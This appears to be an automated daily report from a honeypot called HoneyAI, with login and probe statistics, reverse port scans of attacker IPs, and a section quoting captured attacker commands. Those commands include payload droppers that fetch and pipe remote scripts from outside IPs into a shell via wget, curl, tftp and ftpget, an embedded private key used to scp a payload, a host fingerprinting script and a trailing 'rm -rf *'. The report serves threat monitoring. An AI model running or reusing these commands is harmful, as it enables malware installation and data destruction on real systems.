๐Ÿ’€ critical

Daily Threat Report

965 SSH Connections
598 Login Attempts
360 Commands Run
122 SSH Unique IPs
34,780 Protocol Events
166 Protocol IPs
200 Web Hits
42 Web Service IPs
12 Reverse Scans
12 Scan Hits

Top Passwords Tried

  1. b3eacd33433b31b5
  2. 2ac9a6746aca543a
  3. b6ad34b0b6b7e38f
  4. 9c6d405bba2db24b
  5. 8c6976e5b5410415

๐ŸŒ WEB HONEYPOT โ€” HoneyAI HTTP

AI-generated fake HTTP responses served to 200 scanner requests from 42 unique IPs (local, offline).

Top Paths Probed

  1. /
  2. /dispatch.asp
  3. /login
  4. /goform/set_LimitClient_cfg
  5. /apply.cgi

Top User-Agents

  1. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
  2. Go-http-client/1.1
  3. Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0
  4. Mozilla/5.0 (compatible; FlowIQLabsBot/1.0; +https://flowiq-labs.com/scanning-info)
  5. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0

๐Ÿ’ฅ OPERATION SPINE โ€” Reverse Port Scanning

Active defense back-profiling: HoneyAI executed **12** reverse port-scans against active attacker IPs. Out of these, **12** hosts were found with open services.

Discovered Open Ports on Attackers

๐ŸŒ64.89.163.154 Scanned at 00:51
๐ŸŒ64.89.163.167 Scanned at 00:58
๐ŸŒ64.89.163.77 Scanned at 01:44
๐ŸŒ45.194.67.120 Scanned at 01:45
๐ŸŒ64.89.163.166 Scanned at 06:16
๐ŸŒ141.98.83.48 Scanned at 06:57
๐ŸŒ204.76.203.15 Scanned at 07:59
๐ŸŒ184.105.139.68 Scanned at 09:24
๐ŸŒ184.105.139.76 Scanned at 10:40
๐ŸŒ184.105.139.88 Scanned at 10:40
๐ŸŒ64.89.163.152 Scanned at 14:51
๐ŸŒ45.205.1.70 Scanned at 17:48
# Automatic multi-platform threat intel reporting
$ honeypot-report.sh --since 24h
โ†’ 273 IPs โ†’ AbuseIPDB  (community confidence scores updated)
โ†’ 273 IPs โ†’ AlienVault OTX  (pulse indicators added)
โ†’ 273 IPs โ†’ Blocklist.de  (auto-ban list updated)
โ†’ 273 IPs โ†’ DShield/SANS  (global threat feed updated)

๐Ÿคฃ ATTACKER COMEDY CORNER

Real attempts. No actors were harmed in the making of this honeypot.

๐Ÿ”‘ Hall of Shame โ€” Passwords

b3eacd33433b31b5
2ac9a6746aca543a
b6ad34b0b6b7e38f
9c6d405bba2db24b
8c6976e5b5410415

๐Ÿ’ป Commands They Tried

uname -a; echo -e $_dq\x61\x75\x74\x68\x5F\x6F\x6B\x0A$_dq; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ
0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg
AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9
Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=
-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh
/bin/./uname -s -v -n -r -m
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq)
arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq)
uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)
cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null)
cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E $_dq^model name$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E $_dq^Hardware$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )
gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )
last_output=$(last 2>/dev/null)
filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' $_dq$out$_dq | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 )
echo $_dqUNAME:$uname$_dq
echo $_dqARCH:$arch$_dq
echo $_dqUPTIME:$uptime$_dq
echo $_dqCPUS:$cpus$_dq
echo $_dqCPU_MODEL:$cpu_model$_dq
echo $_dqGPU:$gpu_info$_dq
echo $_dqLAST:$last_output$_dq
echo $_dqFILTER:$filter_output$_dq
uname -a; echo vT
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://41.216.189.92/nz.sh; curl -O http://41.216.189.92/nz.sh; chmod 777 nz.sh; sh nz.sh; tftp 41.216.189.92 -c get nz.sh; chmod 777 nz.sh; sh nz.sh; tftp -r 3.sh -g 41.216.189.92; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 41.216.189.92 2.sh 2.sh; sh 2.sh; rm -rf nz.sh nz.sh 3.sh 2.sh; rm -rf *

These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.

Automated report for 11 de julio de 2026. Recorded 965 SSH connections and 34780 multi-protocol decoy events on HoneyAI, from 288 unique IPs. 273 IPs were automatically reported to the AbuseIPDB community database.

SSH Activity (HoneyAI)

The SSH service received 598 login attempts from 122 unique IPs. Attackers executed 360 commands after gaining simulated system access.

Multi-Protocol Decoys (HoneyAI)

Detected 34780 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 166 distinct IPs. All events are access attempts against simulated production services.

HTTP Web Service (HoneyAI)

The web service received 200 HTTP requests from real scanners across 42 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).

MCP Agent Trap

The MCP decoy server received 6 requests from 2 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.

MSSQL / SNMP Honeypots

The MSSQL decoy received 6233 authentication events from 2 IPs. The SNMP trap received 30 queries from 15 IPs probing community strings and OIDs.

Portscan Detection

Detected 0 incoming port scan events from 0 unique IPs.

AI Defense Stats

Blocked 0 prompt injection attempts and 0 identity leak attempts.

Active Defense (Operation Spine)

HoneyAI performed 12 reverse port scans back to active attacker IPs. Out of these, 12 hosts were found running open public services, allowing backfire profiling.

Network IDS (Suricata)

The network intrusion detection system generated 56555 alerts from 865 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.

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